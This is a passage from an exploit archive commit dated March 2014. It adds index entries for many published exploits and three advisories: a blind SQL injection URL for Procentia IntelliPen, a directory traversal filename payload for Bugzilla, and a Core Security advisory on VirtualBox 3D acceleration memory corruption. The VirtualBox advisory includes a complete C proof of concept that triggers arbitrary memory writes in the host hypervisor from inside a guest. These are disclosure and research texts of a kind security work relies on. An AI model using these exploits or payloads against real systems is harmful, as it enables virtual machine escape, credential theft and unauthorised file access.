Updated 03_14_2014

This commit is contained in:
Offensive Security 2014-03-14 04:28:11 +00:00
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@ -28985,3 +28985,30 @@ id,file,description,date,author,platform,type,port
32203,platforms/php/webapps/32203.txt,"Yogurt Social Network 3.2 rc1 Module for XOOPS tribes.php uid Parameter XSS",2008-08-09,Lostmon,php,webapps,0
32204,platforms/hardware/webapps/32204.txt,"ZyXEL Router P-660HN-T1A - Login Bypass",2014-03-12,"Michael Grifalconi",hardware,webapps,0
32205,platforms/windows/local/32205.txt,"Huawei Technologies eSpace Meeting Service 1.0.0.23 - Local Privilege Escalation",2014-03-12,LiquidWorm,windows,local,0
32207,platforms/php/webapps/32207.txt,"GNUPanel 0.3.5_R4 - Multiple Vulnerabilities",2014-03-12,"Necmettin COSKUN",php,webapps,80
32208,platforms/multiple/dos/32208.txt,"Oracle VirtualBox 3D Acceleration - Multiple Vulnerabilities",2014-03-12,"Core Security",multiple,dos,0
32209,platforms/windows/remote/32209.rb,"Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow",2014-03-12,metasploit,windows,remote,20171
32210,platforms/windows/remote/32210.rb,"Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow",2014-03-12,metasploit,windows,remote,20111
32212,platforms/asp/webapps/32212.txt,"Procentia IntelliPen 1.1.12.1520 (Data.aspx, value param) - Blind SQL Injection",2014-03-12,Portcullis,asp,webapps,80
32213,platforms/php/webapps/32213.txt,"Vtiger CRM 5.4.0, 6.0 RC, 6.0.0 GA (browse.php, file param) - Local File Inclusion",2014-03-12,Portcullis,php,webapps,80
32215,platforms/php/webapps/32215.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS search.php key Parameter XSS",2008-08-09,Lostmon,php,webapps,0
32216,platforms/php/webapps/32216.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS down.php id Parameter XSS",2008-08-09,Lostmon,php,webapps,0
32217,platforms/php/webapps/32217.txt,"Linkspider 1.08 Multiple Remote File Include Vulnerabilities",2008-08-08,"Rohit Bansal",php,webapps,0
32218,platforms/php/webapps/32218.txt,"Domain Group Network GooCMS 1.02 'index.php' Cross-Site Scripting Vulnerability",2008-08-11,ahmadbaby,php,webapps,0
32219,platforms/php/webapps/32219.txt,"Kayako SupportSuite 3.x visitor/index.php sessionid Parameter XSS",2008-08-11,"James Bercegay",php,webapps,0
32220,platforms/php/webapps/32220.txt,"Kayako SupportSuite 3.x index.php filter Parameter XSS",2008-08-11,"James Bercegay",php,webapps,0
32221,platforms/php/webapps/32221.txt,"Kayako SupportSuite 3.x staff/index.php customfieldlinkid Parameter SQL Injection",2008-08-11,"James Bercegay",php,webapps,0
32222,platforms/multiple/dos/32222.rb,"Ruby <= 1.9 WEBrick::HTTP::DefaultFileHandler Crafted HTTP Request DoS",2008-08-11,"Keita Yamaguchi",multiple,dos,0
32223,platforms/multiple/remote/32223.rb,"Ruby <= 1.9 dl Module DL.dlopen Arbitrary Library Access",2008-08-11,"Keita Yamaguchi",multiple,remote,0
32224,platforms/multiple/remote/32224.rb,"Ruby <= 1.9 Safe Level Multiple Function Restriction Bypass",2008-08-11,"Keita Yamaguchi",multiple,remote,0
32226,platforms/php/webapps/32226.txt,"Datafeed Studio 'patch.php' Remote File Include Vulnerability",2008-08-12,"Bug Researchers Group",php,webapps,0
32227,platforms/php/webapps/32227.txt,"Datafeed Studio 1.6.2 'search.php' Cross-Site Scripting Vulnerability",2008-08-12,"Bug Researchers Group",php,webapps,0
32228,platforms/linux/remote/32228.xml,"Bugzilla <= 3.1.4 '--attach_path' Directory Traversal Vulnerability",2008-08-12,"ilja van sprundel",linux,remote,0
32229,platforms/windows/dos/32229.txt,"hMailServer 4.4.1 IMAP Command Remote Denial of Service Vulnerability",2008-08-12,Antunes,windows,dos,0
32230,platforms/php/webapps/32230.txt,"IDevSpot PhpLinkExchange 1.01/1.02 'index.php' Multiple Cross-Site Scripting Vulnerabilities",2008-08-12,sl4xUz,php,webapps,0
32231,platforms/php/webapps/32231.txt,"Meet#Web 0.8 modules.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
32232,platforms/php/webapps/32232.txt,"Meet#Web 0.8 ManagerResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
32233,platforms/php/webapps/32233.txt,"Meet#Web 0.8 ManagerRightsResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
32234,platforms/php/webapps/32234.txt,"Meet#Web 0.8 RegForm.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
32235,platforms/php/webapps/32235.txt,"Meet#Web 0.8 RegResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
32236,platforms/php/webapps/32236.txt,"Meet#Web 0.8 RegRightsResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0

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CVE: CVE-2014-2043
Vendor: Procentia
Product: IntelliPen
Affected version: 1.1.12.1520
Fixed version: 1.1.18.1658
Reported by: Jerzy Kramarz
Details:
SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database.
The following URL and parameters have been confirmed to suffer from Blind SQL injection.
http[s]://<host>/Resources/System/Templates/Data.aspx?DocID=1&field=JobID&value=1<SQL INJECTION>&JobID=1&ParentDocID=1694&InTab=1&ParentKey=JobNumber&NoStore=1&Popup=1
This vulnerability exists because value variable is not sanitised before it is used as part of an SQL query to retrived specific job information.
Impact:
An attacker would be able to exfiltrate the database, user credentials and in certain setup access the underling operating system.
Exploit:
Exploit code is not required.
Vendor status:
07/01/2014 Advisory created
16/01/2014 Vendor contacted
21/02/2014 CVE obtained
07/03/2014 Published
Copyright:
Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the users risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

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source: http://www.securityfocus.com/bid/30661/info
Bugzilla is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow an attacker to view arbitrary local files within the context of the server. Information harvested may aid in launching further attacks.
The following versions are affected:
Bugzilla 2.22.1 through 2.22.4
Bugzilla 2.23.3 and later
<data encoding="filename">../relative_path/to/local_file</data>

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Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities
1. *Advisory Information*
Title: Oracle VirtualBox 3D Acceleration Multiple Memory Corruption
Vulnerabilities
Advisory ID: CORE-2014-0002
Advisory URL:
http://www.coresecurity.com/content/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities
Date published: 2014-03-11
Date of last update: 2014-03-11
Vendors contacted: Oracle
Release mode: User release
2. *Vulnerability Information*
Class: Improper Validation of Array Index [CWE-129], Improper Validation
of Array Index [CWE-129], Improper Validation of Array Index [CWE-129]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0981, CVE-2014-0982, CVE-2014-0983
3. *Vulnerability Description*
VirtualBox is a general-purpose full virtualizer for x86 hardware,
targeted at server, desktop and embedded use.
VirtualBox provides -among many other features- 3D Acceleration for
guest machines
through its Guest Additions. This feature allows guest machines to use
the host machine's
GPU to render 3D graphics based on then OpenGL or Direct3D APIs.
Multiple memory corruption vulnerabilities have been found in the code
that implements
3D Acceleration for OpenGL graphics in Oracle VirtualBox.
These vulnerabilities could allow an attacker who is already running
code within
a Guest OS to escape from the virtual machine and execute arbitrary code
on the Host OS.
4. *Vulnerable packages*
. Oracle VirtualBox v4.2.20 and earlier.
. Oracle VirtualBox v4.3.6 and earlier.
. Other versions may be affected too but they were no checked.
5. *Non-vulnerable packages*
. Oracle VirtualBox v4.3.8.
6. *Credits*
This vulnerability was discovered and researched by Francisco Falcon from
Core Exploit Writers Team. The publication of this advisory was coordinated
by Andres Blanco from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
VirtualBox makes use of the *Chromium*[1] open-source library
(not to be confused with the open-source web browser) in order to
provide 3D Acceleration for OpenGL graphics.
Chromium provides remote rendering of OpenGL graphics through a
client/server model, in which
a client (i.e. an OpenGL application) delegates the rendering to the
server, which has access
to 3D-capable hardware.
When 3D Acceleration is enabled in VirtualBox, OpenGL apps running
within a Guest OS
(acting as Chromium clients) will send rendering commands to the
Chromium server, which is
running in the context of the hypervisor in the Host OS.
The code that handles OpenGL rendering commands on the Host side is
prone to multiple memory
corruption vulnerabilities, as described below.
7.1. *VirtualBox crNetRecvReadback Memory Corruption Vulnerability*
[CVE-2014-0981] The first vulnerability is caused by a *design flaw* in
Chromium. The Chromium server makes use
of "*network pointers*". As defined in Chromium's documentation,
'"Network pointers are
simply memory addresses that reside on another machine.[...] The
networking layer will then
take care of writing the payload data to the specified address."'[2]
So the Chromium's server code, which runs in the context of the
VirtualBox hypervisor
in the Host OS, provides a write-what-where memory corruption primitive
*by design*, which
can be exploited to corrupt arbitrary memory addresses with arbitrary
data in the hypervisor process
from within a virtual machine.
This is the code of the vulnerable function [file
'src/VBox/GuestHost/OpenGL/util/net.c'], which can
be reached by sending a 'CR_MESSAGE_READBACK' message to the
'VBoxSharedCrOpenGL' service:
/-----
/**
* Called by the main receive function when we get a CR_MESSAGE_READBACK
* message. Used to implement glGet*() functions.
*/
static void
crNetRecvReadback( CRMessageReadback *rb, unsigned int len )
{
/* minus the header, the destination pointer,
* *and* the implicit writeback pointer at the head. */
int payload_len = len - sizeof( *rb );
int *writeback;
void *dest_ptr;
crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) );
crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) );
(*writeback)--;
crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len );
}
-----/
Note that 'rb' points to a 'CRMessageReadback' structure, which is fully
controlled by the
application running inside a VM that is sending OpenGL rendering
commands to the Host side.
The 'len' parameter is also fully controlled from the Guest side, so
it's possible to:
1. decrement the value stored at any memory address within the
address space of the hypervisor.
2. write any data to any memory address within the address space of
the hypervisor.
7.2. *VirtualBox crNetRecvWriteback Memory Corruption Vulnerability*
[CVE-2014-0982] The second vulnerability is closely related to the first
one, and it's also caused by Chromium's
"*network pointers*".
This is the code of the vulnerable function [file
'src/VBox/GuestHost/OpenGL/util/net.c'], which can
be reached by sending a 'CR_MESSAGE_WRITEBACK' message to the
'VBoxSharedCrOpenGL' service:
/-----
/**
* Called by the main receive function when we get a CR_MESSAGE_WRITEBACK
* message. Writeback is used to implement glGet*() functions.
*/
static void
crNetRecvWriteback( CRMessageWriteback *wb )
{
int *writeback;
crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) );
(*writeback)--;
}
-----/
Note that 'rb' points to a 'CRMessageWriteback' structure, which is
fully controlled by the
application running inside a VM that is sending OpenGL rendering
commands to the Host side, so it's possible to
decrement the value stored at any memory address within the address
space of the hypervisor.
7.3. *VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption
Vulnerability*
[CVE-2014-0983] When an OpenGL application running inside a VM sends
rendering commands (in the form of opcodes + data for those opcodes)
through
a 'CR_MESSAGE_OPCODES' message, the Chromium server will handle them in
the 'crUnpack' function.
The code for the 'crUnpack' function is automatically generated by the
Python script located
at 'src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py'.
This function is basically a big switch statement dispatching different
functions according to the opcode being processed:
/-----
void crUnpack( const void *data, const void *opcodes,
unsigned int num_opcodes, SPUDispatchTable *table )
{
[...]
unpack_opcodes = (const unsigned char *)opcodes;
cr_unpackData = (const unsigned char *)data;
for (i = 0 ; i < num_opcodes ; i++)
{
/*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/
switch( *unpack_opcodes )
{
case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break;
case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break;
case CR_BEGIN_OPCODE: crUnpackBegin(); break;
[...]
-----/
When the opcode being processed is 'CR_VERTEXATTRIB4NUBARB_OPCODE'
('0xEA'),
the function to be invoked is 'crUnpackVertexAttrib4NubARB':
/-----
[...]
case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB();
break;
[...]
-----/
The 'crUnpackVertexAttrib4NubARB' function reads 5 values from the
opcode data sent by the Chromium client,
and just invokes 'cr_unpackDispatch.VertexAttrib4NubARB' with those 5
values as arguments:
/-----
static void crUnpackVertexAttrib4NubARB(void)
{
GLuint index = READ_DATA( 0, GLuint );
GLubyte x = READ_DATA( 4, GLubyte );
GLubyte y = READ_DATA( 5, GLubyte );
GLubyte z = READ_DATA( 6, GLubyte );
GLubyte w = READ_DATA( 7, GLubyte );
cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );
INCR_DATA_PTR( 8 );
}
-----/
'VertexAttrib4NubARB' is a function pointer in a dispatch table, and
points to the function
'crServerDispatchVertexAttrib4NubARB', whose code is generated by the
Python script located at
'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py':
/-----
void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(
GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w )
{
cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y,
z, w );
cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;
}
-----/
Note that the 'index' parameter, which is a 4-byte integer coming from
an untrusted source (the opcode data
sent by the Chromium client from the VM), is used as an index within the
'cr_server.current.c.vertexAttrib.ub4'
array in order to write 'cr_unpackData' (which is a pointer to the
attacker-controlled opcode data), without
validating that the index is within the bounds of the array.
This issue can be leveraged to corrupt arbitrary memory with a pointer
to attacker-controlled data.
Also note that *the same vulnerability affects several functions* whose
code is generated by the
'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py'
Python script:
/-----
Opcode CR_VERTEXATTRIB1DARB_OPCODE [0xDE] -> function
crServerDispatchVertexAttrib1dARB
Opcode CR_VERTEXATTRIB1FARB_OPCODE [0xDF] -> function
crServerDispatchVertexAttrib1fARB
Opcode CR_VERTEXATTRIB1SARB_OPCODE [0xE0] -> function
crServerDispatchVertexAttrib1sARB
Opcode CR_VERTEXATTRIB2DARB_OPCODE [0xE1] -> function
crServerDispatchVertexAttrib2dARB
Opcode CR_VERTEXATTRIB2FARB_OPCODE [0xE2] -> function
crServerDispatchVertexAttrib2fARB
Opcode CR_VERTEXATTRIB2SARB_OPCODE [0xE3] -> function
crServerDispatchVertexAttrib2sARB
Opcode CR_VERTEXATTRIB3DARB_OPCODE [0xE4] -> function
crServerDispatchVertexAttrib3dARB
Opcode CR_VERTEXATTRIB3FARB_OPCODE [0xE5] -> function
crServerDispatchVertexAttrib3fARB
Opcode CR_VERTEXATTRIB3SARB_OPCODE [0xE6] -> function
crServerDispatchVertexAttrib3sARB
Opcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA] -> function
crServerDispatchVertexAttrib4NubARB
Opcode CR_VERTEXATTRIB4DARB_OPCODE [0xEF] -> function
crServerDispatchVertexAttrib4dARB
Opcode CR_VERTEXATTRIB4FARB_OPCODE [0xF0] -> function
crServerDispatchVertexAttrib4fARB
Opcode CR_VERTEXATTRIB4SARB_OPCODE [0xF2] -> function
crServerDispatchVertexAttrib4sARB
-----/
7.4. *Proof of Concept*
/-----
#include "stdafx.h"
#include <windows.h>
#include "vboxguest2.h"
#include "vboxguest.h"
#include "err.h"
#include "vboxcropenglsvc.h"
#include "cr_protocol.h"
#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"
HANDLE open_device(){
HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE){
printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME);
exit(EXIT_FAILURE);
}
printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice);
return hDevice;
}
uint32_t do_connect(HANDLE hDevice){
VBoxGuestHGCMConnectInfo info;
DWORD cbReturned = 0;
BOOL rc;
memset(&info, 0, sizeof(info));
info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;
strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info,
sizeof(info), &info, sizeof(info), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function do_connect()!
LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (info.result == VINF_SUCCESS){
printf("HGCM connect was successful: client id =0x%x\n",
info.u32ClientID);
}
else{
//If 3D Acceleration is disabled, info.result value will be -2900.
printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration
enabled??)\n", info.result);
exit(EXIT_FAILURE);
}
return info.u32ClientID;
}
void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){
BOOL rc;
VBoxGuestHGCMDisconnectInfo info;
DWORD cbReturned = 0;
memset(&info, 0, sizeof(info));
info.u32ClientID = u32ClientID;
printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n");
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,
&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
do_disconnect()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (info.result == VINF_SUCCESS){
printf("HGCM disconnect was successful.\n");
}
else{
printf("[-] HGCM disconnect failed. Result: %d\n", info.result);
exit(EXIT_FAILURE);
}
}
void set_version(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMSETVERSION parms;
DWORD cbReturned = 0;
BOOL rc;
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;
parms.hdr.cParms = SHCRGL_CPARMS_SET_VERSION;
parms.vMajor.type = VMMDevHGCMParmType_32bit;
parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR;
parms.vMinor.type = VMMDevHGCMParmType_32bit;
parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function set_version()!
LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("Host didn't accept our version.\n");
exit(EXIT_FAILURE);
}
}
void set_pid(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMSETPID parms;
DWORD cbReturned = 0;
BOOL rc;
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID;
parms.hdr.cParms = SHCRGL_CPARMS_SET_PID;
parms.u64PID.type = VMMDevHGCMParmType_64bit;
parms.u64PID.u.value64 = GetCurrentProcessId();
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function set_pid()!
LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("Host didn't like our PID %d\n", GetCurrentProcessId());
exit(EXIT_FAILURE);
}
}
/* Triggers the vulnerability in the crNetRecvReadback function. */
void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
char mybuf[1024];
CRMessageReadback msg;
memset(&msg, 0, sizeof(msg));
msg.header.type = CR_MESSAGE_READBACK;
msg.header.conn_id = 0x8899;
//This address will be decremented by 1
*((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888;
//Destination address for the memcpy
*((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;
memcpy(&mybuf, &msg, sizeof(msg));
strcpy(mybuf + sizeof(msg), "Hi hypervisor!");
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf); //size for the
memcpy: sizeof(mybuf) - 0x18
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
trigger_message_readback()!. LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
exit(EXIT_FAILURE);
}
}
/* Triggers the vulnerability in the crNetRecvWriteback function. */
void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
char mybuf[512];
CRMessage msg;
memset(&mybuf, 0, sizeof(mybuf));
memset(&msg, 0, sizeof(msg));
msg.writeback.header.type = CR_MESSAGE_WRITEBACK;
msg.writeback.header.conn_id = 0x8899;
//This address will be decremented by 1
*((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;
memcpy(&mybuf, &msg, sizeof(msg));
strcpy(mybuf + sizeof(msg), "dummy");
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf);
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
trigger_message_writeback()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
exit(EXIT_FAILURE);
}
}
/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB
function. */
void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMINJECT parms;
char mybuf[0x10f0];
DWORD cbReturned = 0;
BOOL rc;
unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};
DWORD opcode_data[] =
{0x08, //Advance 8 bytes
after executing opcode 0xF7, subopcode 0x30
0x30, //Subopcode for opcode 0xF7
0x331, //Argument for opcode 0x02
0xFFFCFA4B, //This is the
negative index used to trigger the memory corruption
0x41414141}; //Junk
CRMessageOpcodes msg_opcodes;
memset(&mybuf, 0, sizeof(mybuf));
memset(&msg_opcodes, 0, sizeof(msg_opcodes));
msg_opcodes.header.conn_id = 0x8899;
msg_opcodes.header.type = CR_MESSAGE_OPCODES;
msg_opcodes.numOpcodes = sizeof(opcodes);
char *offset = (char *)&mybuf;
memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));
offset += sizeof(msg_opcodes);
/*----- Opcodes -----*/
memcpy(offset, &opcodes, sizeof(opcodes));
offset += sizeof(opcodes);
/*----- data for the opcodes -----*/
memcpy(offset, &opcode_data, sizeof(opcode_data));
offset += sizeof(opcode_data);
memset(&parms, 0, sizeof(parms));
parms.hdr.result = 0;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf);
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
trigger_opcode_0xea()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
exit(EXIT_FAILURE);
}
}
void poc(int option){
HANDLE hDevice;
uint32_t u32ClientID;
/* Connect to the VBoxSharedCrOpenGL service */
hDevice = open_device();
u32ClientID = do_connect(hDevice);
/* Set version and PID */
set_version(hDevice, u32ClientID);
set_pid(hDevice, u32ClientID);
switch (option){
case 1:
printf("[1] triggering the first bug...\n");
trigger_message_readback(hDevice, u32ClientID);
break;
case 2:
printf("[2] triggering the second bug...\n");
trigger_message_writeback(hDevice, u32ClientID);
break;
case 3:
printf("[3] triggering the third bug...\n");
trigger_opcode_0xea(hDevice, u32ClientID);
break;
default:
printf("[!] Unknown option %d.\n", option);
}
/* Disconnect from the VBoxSharedCrOpenGL service */
do_disconnect(hDevice, u32ClientID);
CloseHandle(hDevice);
}
int main(int argc, char* argv[])
{
if (argc < 2){
printf("Usage: %s <option number>\n\n", argv[0]);
printf("* Option 1: trigger the vulnerability in the
crNetRecvReadback function.\n");
printf("* Option 2: trigger the vulnerability in the
crNetRecvWriteback function.\n");
printf("* Option 3: trigger the vulnerability in the
crServerDispatchVertexAttrib4NubARB function.\n");
exit(1);
}
poc(atoi(argv[1]));
}
-----/
8. *Report Timeline*
. 2014-02-11:
Core Security Technologies notifies the VirtualBox team of the
vulnerability.
Publication date is set for March 4th, 2014.
. 2014-02-12:
Vendor acknowledges the receipt of the information. Vendor asks to
coordinate
the release for April 15, 2014 which is the earliest possible date for
publishing
this issue from Oracle.
. 2014-02-12:
Core schedules the advisory publication for April 15, 2014 and asks
for regular status reports.
. 2014-03-04:
First release date missed.
. 2014-03-07:
Vendor releases fixes of some affected versions [3][4].
. 2014-03-07:
Core notifies that, given that some patches were disclosed,
the advisory will we released as user release ASAP.
. 2014-03-07:
Vendor asks for delaying the advisory publication given that
some versions are still vulnerable.
. 2014-03-10:
Core notifies that the advisory is going to be published because
once the fixes have been made public the vulnerability is public as well.
. 2014-03-10:
Vendor notifies that they will not include credit to Core researchers
given that the advisory is being published before a fix is available to
all affected versions.
. 2014-03-11:
Advisory CORE-2014-0002 published as user release.
9. *References*
[1] http://chromium.sourceforge.net/
[2] http://chromium.sourceforge.net/doc/howitworks.html
[3] https://www.virtualbox.org/changeset/50441/vbox
[4] https://www.virtualbox.org/changeset/50437/vbox
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright
(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

26
platforms/multiple/dos/32222.rb Executable file
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@ -0,0 +1,26 @@
source: http://www.securityfocus.com/bid/30644/info
